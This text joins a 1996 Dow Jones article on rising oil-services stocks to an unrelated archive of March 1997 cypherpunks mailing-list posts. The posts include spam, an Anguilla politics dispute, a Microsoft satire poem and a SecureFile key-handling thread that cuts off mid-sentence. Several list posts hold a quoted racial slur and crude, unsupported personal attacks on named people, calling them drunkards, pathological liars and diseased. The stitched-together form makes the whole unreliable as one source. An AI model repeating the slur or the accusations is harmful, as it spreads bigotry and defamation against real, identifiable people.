Oil-Services Stocks Rally As Optimism Returns 

By Loren Fox 
NEW YORK (Dow Jones)--Stocks of oil-service and drilling companies 
fairly gushed Tuesday, a sign that the recent selloff in the sector 
may be ending. 
Optimism returned to the market regarding companies that rent rigs, 
make drill bits, generate geological information and provide other 
oil-field services and equipment. 
Oil drillers were the best performing industry group Tuesday, as 
the Dow Jones index of six drillers rose 9.9% on a market 
capitalization weighted basis. Among the leaders were Global 
Marine Inc. (GLM), up 2 1/4, or 12.7%, at 20; and Ensco International 
Inc. (ESV), up 5, or 12%, at 46 1/2. 
Not far behind was the Dow Jones index of five oil-field equipment 
companies, which rose 4.5%. The leaders included Schlumberger Ltd. 
(SLB), the bellwether of the group, which was up 4 3/4, or 4.8%, at 
103 1/4; and Halliburton Co. (HAL), up 3 1/4, or 5.3%, at 65. 
One spark for Tuesday's rally was the optimism ahead of Wednesday's 
sale of exploration leases in the Gulf of Mexico. A record 1,790 
bids were tendered to the U.S. Department of the Interior for 
1,032 tracts. To many, that's a signal that oil companies aren't 
about to slow the pace of spending on exploration and development. 
''There aren't enough rigs to go around,'' said Robert Trace, an 
analyst at Hanifen Imhoff Inc. 
Another factor setting the table for Tuesday's feast was the fact 
that the stocks had fallen so far in recent weeks. After rising 
in January, investors took profits as good quarterly earnings 
reports rolled in. However, short-selling and momentum investors 
pulled the sector down further in February. At the same time, 
oil prices fell roughly 20% to $20.50 a barrel, which turned 
the mood overwhelmingly bearish. 
Before Tuesday's rebound, Schlumberger had fallen 15% from its 
January high. Diamond Offshore Drilling Inc. 
(DO), the largest deep-water rig specialist, had fallen 25% 
from its January high. Tuesday, Diamond rose 5 3/8, 
''The typical oil services stock fell 25% to 30%, which is 
a healthy correction,'' said Kenneth Miller, executive vice p 
resident at Cambridge Investments Ltd., a money management firm. 
''There was so much negativism coming out of the street, it's a 
sign that the group hit bottom.'' 
''It was absolutely overdone,'' said Yves Siegel, an analyst at 
Smith Barney Inc. 
In recent days, some analysts started touting the stocks as 
buying opportunities. 
''The stocks were selling at very low multiples,'' said Miller. 
Even fans of oilfield stocks feel the nosedive they took in 
recent weeks began as a logical correction. Many industry 
observers admitted stock prices got ahead of themselves in 
January. Good news from 1998 - let alone from 1997 - was already 
factored into the stocks. 
True, earnings are expected to continue rising for the group. 
For 1997, Schlumberger's earnings are expected to be 26% higher 
than last year at $4.38 a share. For Global Marine, 1997 
earnings are expected to soar 111% to $1.33, then rise another 
39% in 1998 to $1.85. 
But while the stocks rose in January in advance of earnings 
reports, as they had in the last few quarters, this past quarter 
the sector rose faster. The key driver was momentum players, 
who buy stocks that are already rising. 
One fund manager said a classic example of momentum buying was 
Cliffs Drilling Co. (CLDR), a second-tier drilling contractor 
whose stock rocketed to a high of 79 1/2 in January, or a 
whopping 38 times its projected 1997 earnings. 
Cliffs fell to 42 3/8 Monday, and rose 9.5% to close at 46 
Tuesday - 22 times its projected 1997 earnings of $2.08. Many 
analysts said the group has returned to more realistic 
multiples. Smith Barney's Siegel said drillers should trade at 
12 to 15 times earnings. 
''I don't necessarily think of these as growth companies,'' 
said Hanifen's Trace, because in the end, they are based on 
the cycles of spending from oil companies. But Trace feels 
20 times earnings is reasonable given drillers' growth in the 
next few years. 
One result of January's expansion of earnings multiples, however, 
was to make the recent selloff a more dramatic decline. The 
recent pullback in the stocks was very much influenced by the 
simultaneous drop in oil and gas prices, which exert a strong 
psychological effect on the sector. But observers emphasized 
that the drop in oil prices shouldn't hurt the earnings of 
oil-services companies. 
It is a connection that isn't well understood, analysts contended. 
The fact that crude oil fell below $21 a barrel doesn't mean that 
oil companies started to cancel rig contracts or shut wells. Most 
oil companies, having been burned by the collapse in oil prices 
in the mid-1980s, budget their oil and gas projects so they make 
money if oil sells at $17 or $18 a barrel. As a result, current 
oil and gas prices are not a danger to oil services companies. 
''It's actually better for the oil services stocks for oil to 
trade between $18 to $22 a barrel,'' said Siegel, because that's 
a high enough price to encourage drilling while not so high that 
it hurts demand. 
Many analysts believe the oil-services industry is in the early 
stages of a multi-year upturn. That's why they see the recent 
deflation of oil services stocks as buying opportunities. ''It's 
a long-term story,'' Siegel said. 

Full credit to: 

Copyright (c) 1996 Dow Jones & Company, Inc. All Rights Reserved. 








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "TeleCommunications Plus.." <David@telecom-plus.com>
Date: Sat, 8 Mar 1997 08:45:40 -0800 (PST)
Subject: Guaranteed 10.9 cpm L.D. Rate- To All 50 States- 24 hrs- No Fees- NONE!
Message-ID: <199703081645.IAA02294@toad.com>
MIME-Version: 1.0
Content-Type: text/plain







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 8 Mar 1997 09:10:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Master of fellatio
In-Reply-To: <Pine.A41.3.95.970308081038.66302B-100000@fn2.freenet.edmonton.ab.ca>
Message-ID: <XF093D148w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


> > > I see you write from England are you a nigger or paki or just a white
> > > pervert.

Paul and others,

I have a proposal: let's not waste our time responding to provocateurs
like Charles Platt and associated scum. Charles Platt is a crook, a liar,
and a crackpot. He nearly got arrested recently when he showed up drunk
at a public lecture in NYC and started shouting obscenities. He used to
spam Usenet with ads for his "cryocare" business (freezing dead bodies
so they can be revived later). Now that he's been hounded out of
sci.cryo by his former business partners and other people whom Platt
cheated out of tens of thousands of dollars, this self-proclaimed
"journalist" is trying to infest cypherpunks with his lies and spam.
Perhaps he hopes to make a few bucks peddling snake oil psudo-crypto
software for money launderers, in co-operation with Sameer Parekh. :-)

Let's just ignore him. Shunning was pretty effective on the SternFUD.
Cowardly sociopaths like Charles Platt feed on attention and are delighted
by our outrage. If he doesn't get any, he'll go away and look for
another forum to bother, like Declan's censored "anti-censorship" list.

We have better things to do (both crypto and not crypto related) than
responding to lying scum like Charles Platt.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vincent Cate <vince@offshore.com.ai>
Date: Sat, 8 Mar 1997 10:35:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: Tim in Anguilla vs. USA
In-Reply-To: <Pine.LNX.3.95.970308082349.28404A-100000@online.offshore.com.ai>
Message-ID: <Pine.LNX.3.95.970308123954.29605A-100000@online.offshore.com.ai>
MIME-Version: 1.0
Content-Type: text/plain



The comparison of Tim as a US citizen ranting in California to Tim as a
guest in Anguilla ranting in Anguilla is not really fair. 

If Tim were a French citizen in the USA, and ranting about crypto-anarchy
and destabilizing governments on street corners (or communism or
something), he *might not* get his visa/work-permit renewed in the USA.
Tim is very safe in the USA partly because he does not have to get a visa
renewed.

If Tim were an Anguillian citizen I think it would be totally safe for him
to rant in Anguilla either on the net or in person, about crypto-anarchy
and destabilizing of governments or whatever.  It would have no impact on
getting a work-permit or visa renewed because he would not be doing that. 

Anguilla is not so very different in all this than the USA.  The US
decides not to renew some visa on a totally different level of evidence
than that used to lock someone up in jail.  And in Anguilla freedom of
speech is officially guaranteed in the constitution but, like the US,
pornography, is somewhat controlled.  But I don't believe there is any
danger of an Anguillian citizen getting troubled by the government for
ranting. 

The big difference between Anguilla and the USA is that banks, by law, can
not give out information to anyone, and there is no sales tax or income
tax, and no need to report sales or income amounts to anyone.  In the USA
banks have to give anything the government wants to the government. The
level of privacy in Anguilla is far higher than the USA.  I know I am
repeating this, but... 

   --  Vince





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bovine Remailer <haystack@holy.cow.net>
Date: Sat, 8 Mar 1997 11:52:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199703081951.OAA02239@holy.cow.net>
MIME-Version: 1.0
Content-Type: text/plain


Timmy Maypole is widely recognized on the net, because of his frequent 
vitriolic postings, as someone/thing ready to cut off his own penis to 
spite the testicles, although his friends recognize him better from 
the rear.

       ^. .^
       ( @ )
         c





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Sat, 8 Mar 1997 14:43:17 -0800 (PST)
To: Bovine Remailer <haystack@holy.cow.net>
Subject: Re: your mail
In-Reply-To: <199703081951.OAA02239@holy.cow.net>
Message-ID: <Pine.A41.3.95.970308154041.22400A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


Vulis the list you need is sick pervert.


        http://www.freenet.edmonton.ab.ca/~real/index.html

                                          : real@freenet.edmonton.ab.ca
Graham-John Bullers                  email
                                          : ab756@freenet.toronto.on.ca


On Sat, 8 Mar 1997, Bovine Remailer wrote:

> Timmy Maypole is widely recognized on the net, because of his frequent 
> vitriolic postings, as someone/thing ready to cut off his own penis to 
> spite the testicles, although his friends recognize him better from 
> the rear.
> 
>        ^. .^
>        ( @ )
>          c
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kevin <lp33cd@hotmail.com>
Date: Sat, 8 Mar 1997 04:03:19 -0800 (PST)
Subject: Request for Permission
Message-ID: <199703081149.LAA27994@uk.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


May I have your permission to send you some FREE information on an outstanding MLM business Opportunity?

* ONE time $50 fee
* MUSIC goes MLM


******************************************************* 
Reply with "CDX" in the subject if you don't mind.
Thanks.
*******************************************************





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: caseym@genesisnetwork.net (casey moss)
Date: Wed, 9 Apr 1997 23:51:08 -0700 (PDT)
To: chris@genesisnetwork.net
Subject: Premium Webhosting Services
Message-ID: <3.0.1.32.19970308223636.00679cb0@webb.genesisnetwork.net>
MIME-Version: 1.0
Content-Type: text/plain


Thanks for requesting the GENESIS Network website hosting information
guide, to make this short so we do not take up your valuable time, please
stop in and visit us at ...

http://www.genesisnetwork.net  " look for the red chili pepers "

The rest is easy.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Charles Platt <cp@panix.com>
Date: Sat, 8 Mar 1997 20:19:58 -0800 (PST)
To: Vincent Cate <vince@offshore.com.ai>
Subject: Re: Anguilla is not Marxist!
In-Reply-To: <Pine.LNX.3.95.970308233855.31226H-100000@online.offshore.com.ai>
Message-ID: <Pine.SUN.3.91.970308231018.27226E-100000@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



Now, Vince, calm down! Contrary to your subject line, I never remotely
suggested that Marxism runs rampant in sunny Anguilla. I merely observed
that your Minister of Finance did choose an educational institution
notorious for Marxist ideology. The Minister may have undergone a radical
change in his ideas since then (AS I SAID IN THE TEXT THAT I POSTED TO THE
GROUP!). I did not blame him for the phone monopoly, merely pointed out
that government in Anguilla does not seem much into the idea of
competitive bids, generally speaking. You can hardly object to this
statement, since you said as much to me yourself! 

Incidentally, the same text was circulated to Lynwood Bell of Hansa Bank, 
who made detailed corrections of some of my statements about his 
institution, but where the Minister of Finance was concerned, made only a 
wry, amused comment.

On Sun, 9 Mar 1997, Vincent Cate wrote:

> Hold it right there!  There is no Marxism or socialism in Anguilla.  We
> don't even have income tax!  They are not busy redistributing wealth here. 
> They let you keep your own wealth in Anguilla.  Get a clue!

My text was not intended to imply anything of this kind.

> The current minister of finance is not at all responsible for the Cable
> and Wireless monopoly.  It was the previous government that set them up
> and the current government is not happy about it. 

Well, this is more relevant--but what do you mean, "not happy"? Is there 
a policy statement, a public remark I can quote?

> Please.  Be reasonable.

Sorry, but I think your reaction is a bit unreasonable. I'll certainly
rephrase my text if you sincerely feel it suggests that Marxism thrives in
Anguilla. But I thought the context made it clear that the country is just
a sleepy little British colony with zero corporate/personal taxes and some
bad habits left over from the Brits--such as a government-owned radio
station and a horrible phone system. 

--Charles





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vincent Cate <vince@offshore.com.ai>
Date: Sat, 8 Mar 1997 20:08:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: Anguilla is not Marxist!
In-Reply-To: <Pine.LNX.3.95.970308195223.31293B-100000@online.offshore.com.ai>
Message-ID: <Pine.LNX.3.95.970308233855.31226H-100000@online.offshore.com.ai>
MIME-Version: 1.0
Content-Type: text/plain



Charles:
> The Minister of Finance in Anguilla is a nice guy, but
> he did his graduate degree in economics at The New School for Social
> Research here in New York City, which just happens to be attached to the
> computer lab where I teach; and I know for a fact that the graduate
> studies division is the last bastion of Marxist economic theory in
> America. 
> [...]  Of course,
> the Anguillan Minister of Finance may have undergone a subsequent
> philosophical conversion to the free market (just like Deng, right?) but
> his country shows few signs of libertarian ideology; e.g. they have a
> state-owned radio station, they haven't quite embraced the idea of
> competitive bids for government projects, and they still have a
> monopolistic phone service that has disabled all the pound and star keys
> on island phones so that people can't save money using American call-back
> services. 

Hold it right there!  There is no Marxism or socialism in Anguilla.  We
don't even have income tax!  They are not busy redistributing wealth here. 
They let you keep your own wealth in Anguilla.  Get a clue!

The current minister of finance is not at all responsible for the Cable
and Wireless monopoly.  It was the previous government that set them up
and the current government is not happy about it. 

It is absurd to assume that since 20 years ago our Minister of Finance
went to some school you are attached to, and you have noticed Marxists
there, that he is anything close to a Marxist or to assume anything at all
about Anguilla.  After all, you are currently near this school, so by your
logic you must have caught the infection too.  Yet you claim to be a
Libertarian.

The USA had a monopoly phone company not that long ago.  You might say
that Anguilla is behind the US in terms of telecom policy.  But to yell
communism is totally nuts.

Please.  Be reasonable.

    --  Vince
      





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Charles Platt <cp@panix.com>
Date: Sat, 8 Mar 1997 21:30:51 -0800 (PST)
To: Vincent Cate <vince@offshore.com.ai>
Subject: Re: Anguilla is not Marxist!
In-Reply-To: <Pine.LNX.3.95.970309003132.31226J-100000@online.offshore.com.ai>
Message-ID: <Pine.SUN.3.91.970309002437.6294A-100000@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 9 Mar 1997, Vincent Cate wrote:

> You still assume that he was, at least at one time, into that and only if
> he had changed could he now be normal.  This is so bogus.  What makes you
> think he needed to undergo radical change?

Well, I suppose it's possible that he didn't know about the politics of 
the university till he actually got there ... but highly unlikely, 
because it is quite notorious. And he did stay there. 

> Ok. I don't remember talking about competitive bids.  Not sure what
> Anguilla would be taking bids for really. 

Asphalt for roads, as I recall.

> It just seems bazar to conclude that our Minister of Finance is at best a
> reformed Marxist without any more evidence than a name of a school he went
> to and a monopoly phone company setup by the previous government. 

Fair enough (I guess). It's always enlightening to discover how one's 
writing is read by others. This is why I ALWAYS submit my text for review 
before sending it to the magazine.

> There are also 2 local private radio stations, 2 local private TV
> stations, and a private cable company with 40 channels (local adds but
> little local programming). If you only talk about the government owned
> radio station you make it seem like this is government is controlling the
> media or something.  It is not giving an accurate impression. 

OK. I got my impression from the guy who runs it. Perhaps naturally, he 
emphasized it more than his competition.

> The UK and USA also have government owned stations.  So what?  As long as
> private ones are not supressed, I don't have any trouble with a government
> owning its own radio station (and I am a devout Libertarian). 

I do tend to be a little bit suspicious of any state-owned broadcasting 
system (including PBS).

But this is way off topic for cypherpunks. Maybe we should continue in 
email if we need to continue.

I do appreciate your perspective.

--CP




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vincent Cate <vince@offshore.com.ai>
Date: Sat, 8 Mar 1997 20:46:41 -0800 (PST)
To: Charles Platt <cp@panix.com>
Subject: Re: Anguilla is not Marxist!
In-Reply-To: <Pine.SUN.3.91.970308231018.27226E-100000@panix.com>
Message-ID: <Pine.LNX.3.95.970309003132.31226J-100000@online.offshore.com.ai>
MIME-Version: 1.0
Content-Type: text/plain



> I merely observed
> that your Minister of Finance did choose an educational institution
> notorious for Marxist ideology. The Minister may have undergone a radical
> change in his ideas since then (AS I SAID IN THE TEXT THAT I POSTED TO THE
> GROUP!).

You still assume that he was, at least at one time, into that and only if
he had changed could he now be normal.  This is so bogus.  What makes you
think he needed to undergo radical change?

> I did not blame him for the phone monopoly, merely pointed out
> that government in Anguilla does not seem much into the idea of
> competitive bids, generally speaking. You can hardly object to this
> statement, since you said as much to me yourself! 

Ok. I don't remember talking about competitive bids.  Not sure what
Anguilla would be taking bids for really. 

> > The current minister of finance is not at all responsible for the Cable
> > and Wireless monopoly.  It was the previous government that set them up
> > and the current government is not happy about it. 
> 
> Well, this is more relevant--but what do you mean, "not happy"? Is there 
> a policy statement, a public remark I can quote?

I don't have one, but I will see if I can get/find one.  

> Sorry, but I think your reaction is a bit unreasonable. I'll certainly
> rephrase my text if you sincerely feel it suggests that Marxism thrives in
> Anguilla. 

It just seems bazar to conclude that our Minister of Finance is at best a
reformed Marxist without any more evidence than a name of a school he went
to and a monopoly phone company setup by the previous government. 

> But I thought the context made it clear that the country is just
> a sleepy little British colony with zero corporate/personal taxes and some
> bad habits left over from the Brits--such as a government-owned radio
> station and a horrible phone system. 

There are also 2 local private radio stations, 2 local private TV
stations, and a private cable company with 40 channels (local adds but
little local programming). If you only talk about the government owned
radio station you make it seem like this is government is controlling the
media or something.  It is not giving an accurate impression. 

The UK and USA also have government owned stations.  So what?  As long as
private ones are not supressed, I don't have any trouble with a government
owning its own radio station (and I am a devout Libertarian). 

   -- Vince






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vincent Cate <vince@offshore.com.ai>
Date: Sat, 8 Mar 1997 21:14:29 -0800 (PST)
To: Charles Platt <cp@panix.com>
Subject: Re: Anguilla
In-Reply-To: <Pine.LNX.3.95.970308195223.31293B-100000@online.offshore.com.ai>
Message-ID: <Pine.LNX.3.95.970309011607.32295B-100000@online.offshore.com.ai>
MIME-Version: 1.0
Content-Type: text/plain



Charles:
> his country shows few signs of libertarian ideology; e.g. they have a
> state-owned radio station, they haven't quite embraced the idea of
> competitive bids for government projects, and they still have a
> monopolistic phone service that has disabled all the pound and star keys
> on island phones so that people can't save money using American call-back
> services. 

I am going to have to check tomorrow and see about thse star and
pound keys.  It would amuse me if we had seen the birth of an urban
legend.

                          Anguilla         vs       USA
1) Income taxes           Libertarian             Socialist
2) Sales Taxes            Libertarian             Socialist
3) State owned radio      Yes                     Yes
4) Competative bids       Sometimes               Sometimes
5) Pound keys that work   ?  Will check           Yes
6) Reporting of finances  Libertarian             Totalitarian
7) Free Speech            Yes, sort of            Yes, sort of

  -- Vince





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TOTO <toto@sk.sympatico.ca>
Date: Sun, 9 Mar 1997 00:08:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: MicroSoft Schill Blanc Weber EXPOSED!!!
In-Reply-To: <199703080803.IAA00271@server.test.net>
Message-ID: <33226FE1.3A50@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Adam Back wrote:
>
> Blanc Weber <blancw@microsoft.com> writes:
> > Yikes - don't know how this happened, but it was I sent this email, not
> > Uni, who is also not @sirius.infonex.com.

> I suspect it's something to do with this (Microsoft mailers were the
> bane of many mailing lists a while back):

> > X-Mailer:  Microsoft Exchange Server Internet Mail Connector Version 4.0.994.63

> No offense, but Microsoft software is not my idea of quality -- it
> seems Gates takes the attitude that he's got the market in a
> strangle-hold so he can sell any crap and get away with it.

  Yes, but he's right.

> I saw TV interview with him in which he claimed that "no one _ever_
> upgraded to a new version of his software to get a bug fix" -- instead
> he claimed they upgraded to get "new features".  He appeared serious.

  There are reports that his physicians have desperately pleaded
with him to seek treatment for these delusions but he fears that
if he does so, he may suffer reprecussions from facing reality.

> The microsoft attitude to standards is annoying also -- what do they care
> about rfc822?  "The good thing about microsoft is that we set the standards,
> and we can change them when we want to".  quote from a microsoft
> representative at a standards meeting.

  IBM had the same attitude for years, and were quite arrogant
about it when they announced the computer of our future, the PS/2.

  "Napoleon was Emperor,
  "But still, he met his Waterloo.
  "IBM was King, but still,
  "No one bought their PS/2."

  "Now, stepping up to the plate...
  "A 'heavy hitter', named Billy Gates.
  "Who just can't hit the 'long ball', hence,
  "He has the umpires move the fence."

  "Billy G. is not a fool,
  "He's handsome, witty, smart, and rich.
  "His products may be weak, so what?
  "He owns the team, he gets to pitch."

  "Besides, someone, somewhere, sometime,
  "Will learn to make his products work.
  "While cussing out the big MS,
  "And calling Billy G. a jerk."

  "Then Billy G. will buy them out,
  "(Or steal a 'base', some would say)
  "One way or the other, though,
  "Billy G. will get his way."

  "MS does offer some support,
  "(Even though they have to bill you).
  "Then say, 'We could tell you how it works.
  "'But then, of course, we'd have to kill you.'"

  "So here I sit, broken hearted...
  "Bought Win95, the nightmare started.
  "Those who write on shithouse walls...
  "Know MS has them by the balls."

  "For a good time, call..."

    [ MODERATOR'S NOTE: ]

  The obvious degeneration of this slanderous poem into a babbling
morass of shithouse wit comes as no surprise to those who righteously
supported the attempt to protect the cypherpunks list from exactly this
type of off-topic trash.
  I am certain that the other troublemakers on the list will be
spreading rumors and lies concerning Toto's sudden disappearance,
which I am sure will be noticed shortly.

  To set the record straight concerning the rumors that are bound
to be surfacing, let me state that it is a known fact that the
lunatic asylums in Saskatchewan often use vehicles bearing Washington
State license plates.
  The witnesses who claim that the white-suited asylum employees had
MicroSoft emblems on their uniforms were obviously confused by the
similarities to the 'MindSoft' emblem of the Sanitarium (which was
legally formed shortly after Toto's soon-to-be discovered mysterious
disappearance).

  Rumors that Toto was subsequently murdered because he had actually
gotten Win95 to work, and thus 'knew too much', are obviously tripe,
since it is a well-known fact that nobody can get it to work properly.
  The lies that will be attempting to connect Toto's disappearance
to tonight's MicroSoft/C2Net party are also false, since it has been
in the planning for months. It's just that we (I mean...'they') forgot
to send out the invitations earlier, so it only appears to be a hastily
organized event.

  As to the hogwash spouted by Dale Thorn, and others, concerning some
purported behind-the-scenes moderation/censorship of the cypherpunks
list--this is patent nonsense.
  This 'Moderator's Note' that you are reading now is an obvious
forgery--part of some sick, demented plan to continue to cast slander
and libel upon MicroSoft and C2Net. It is a mere continuation of the
shallow attempts of slimeballs and perverts to cast aspersions on
saints like Bill Gates, John Gilmore, Sandy Sandfort, Greg Broiles,
and my employer, Sammy, who only want what is best for everyone.

[END OF 'ALLEGED' MODERATOR'S NOTE]

  "For a good time call...Toto"
  http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 9 Mar 1997 02:21:50 -0800 (PST)
To: cypherpunks@toad.com
Subject: BBN
Message-ID: <199703091021.CAA17254@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


The arrival of warm weather is heralded by the pig shit (or whatever 
kind of shit Intel swines have for brains) getting soft in Tim C. 
Mayonnaise's mini-cranium and the resulting green slime seeping 
through his cocaine- and syphilis- damaged nose and onto his keyboard.

         o/    \  /    \ /     /      \o
        /#      ##o     #     o##      #\ Tim C. Mayonnaise
        / \    /  \    /o\    / |\    / \





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 9 Mar 1997 05:53:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Anguilla is not Marxist!
In-Reply-To: <Pine.LNX.3.95.970309003132.31226J-100000@online.offshore.com.ai>
Message-ID: <k0Va4D163w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Vincent Cate <vince@offshore.com.ai> writes:

> > I merely observed
> > that your Minister of Finance did choose an educational institution
> > notorious for Marxist ideology. The Minister may have undergone a radical
> > change in his ideas since then (AS I SAID IN THE TEXT THAT I POSTED TO THE
> > GROUP!).
>
> You still assume that he was, at least at one time, into that and only if
> he had changed could he now be normal.  This is so bogus.  What makes you
> think he needed to undergo radical change?

Vince,

Charles Platt is notorious on the net as a drunkard and a pathological
liar.  Don't waste your time refuting his lies.

> > Sorry, but I think your reaction is a bit unreasonable. I'll certainly
> > rephrase my text if you sincerely feel it suggests that Marxism thrives in
> > Anguilla.
>
> It just seems bazar to conclude that our Minister of Finance is at best a
> reformed Marxist without any more evidence than a name of a school he went
> to and a monopoly phone company setup by the previous government.

Charles Platt works part-time for New School for Social Research (teaching
students Microsoft Office or something :-). Obviously he's very envious of
any former student who's more successful than he is, so he invents all sorts
of stupid lies about his employer.

> > But I thought the context made it clear that the country is just
> > a sleepy little British colony with zero corporate/personal taxes and some
> > bad habits left over from the Brits--such as a government-owned radio
> > station and a horrible phone system.
>
> There are also 2 local private radio stations, 2 local private TV
> stations, and a private cable company with 40 channels (local adds but
> little local programming). If you only talk about the government owned
> radio station you make it seem like this is government is controlling the
> media or something.  It is not giving an accurate impression.
>
> The UK and USA also have government owned stations.  So what?  As long as
> private ones are not supressed, I don't have any trouble with a government
> owning its own radio station (and I am a devout Libertarian).

This just proves again that Charles Platt is a pathological liar.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Sun, 9 Mar 1997 08:00:15 -0800 (PST)
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: BBN
In-Reply-To: <199703091021.CAA17254@mailmasher.com>
Message-ID: <Pine.A41.3.95.970309085737.83832A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



Vulis keep this off the list


        http://www.freenet.edmonton.ab.ca/~real/index.html

                                          : real@freenet.edmonton.ab.ca
Graham-John Bullers                  email
                                          : ab756@freenet.toronto.on.ca


On Sun, 9 Mar 1997, Huge Cajones Remailer wrote:

> The arrival of warm weather is heralded by the pig shit (or whatever 
> kind of shit Intel swines have for brains) getting soft in Tim C. 
> Mayonnaise's mini-cranium and the resulting green slime seeping 
> through his cocaine- and syphilis- damaged nose and onto his keyboard.
> 
>          o/    \  /    \ /     /      \o
>         /#      ##o     #     o##      #\ Tim C. Mayonnaise
>         / \    /  \    /o\    / |\    / \
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Sun, 9 Mar 1997 08:08:56 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Anguilla is not Marxist!
In-Reply-To: <k0Va4D163w165w@bwalk.dm.com>
Message-ID: <Pine.A41.3.95.970309090541.83832D-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


> 
> This just proves again that Charles Platt is a pathological liar.


Vulis you are the pathological liar.


> 
> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 9 Mar 1997 07:23:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Anguilla is not Marxist!
In-Reply-To: <Pine.SUN.3.91.970308231018.27226E-100000@panix.com>
Message-ID: <22ya4D166w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Alcoholic liar Charles Platt <cp@panix.com> writes:

>
> Incidentally, the same text was circulated to Lynwood Bell of Hansa Bank,
> who made detailed corrections of some of my statements about his
> institution, but where the Minister of Finance was concerned, made only a
> wry, amused comment.

As someone pointed out, Charles Platt met Lynwood Bell at a cocktail party
with free drinks.  Charles Platt, an alcoholic, was drunk like a skunk when
he "interviewed" Lynwood. Afterwards Charles Made up long quotes from
Lynwood. Actually, all Lynwood said was: "Get away from me, you pig."

The Minister did not find it worthwhile to communicate any further with
the notorious liar and self-styled yellow jounalist - Charles Platt.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Sun, 9 Mar 1997 08:26:42 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Anguilla is not Marxist!
In-Reply-To: <22ya4D166w165w@bwalk.dm.com>
Message-ID: <Pine.A41.3.95.970309092345.23720B-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



> 
> The Minister did not find it worthwhile to communicate any further with
> the notorious liar and self-styled yellow jounalist - Charles Platt.


Vulis you are the notorious liar.

> 
> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremey Barrett <jeremey@veriweb.com>
Date: Sun, 9 Mar 1997 10:48:37 -0800 (PST)
To: anand@querisoft.com
Subject: Re: SecureFile
In-Reply-To: <33203B5E.28D8E637@veriweb.com>
Message-ID: <33228FE6.38DED08@veriweb.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Anand Abhyankar wrote:
> 
> SecureFile is not using the Win 95 password for encrypting the files.
> Win 95 or Win NT never hands over the password to any application.

Good.

> 
> CAPI 2.0 is so nicely integrated with the OS that unless you have logged
> in you wont get access to you keys. Now SecureFile is CAPI 2.0 based
> application, so to use SecureFile you have to log in. Once this is done
> the crypto operations (encryption/signing) etc are performed using your
> keys.
> 
> The advantage you gain is that, a separate SecureFile logon is not
> required and nobody but you will be able to access your keys as they are
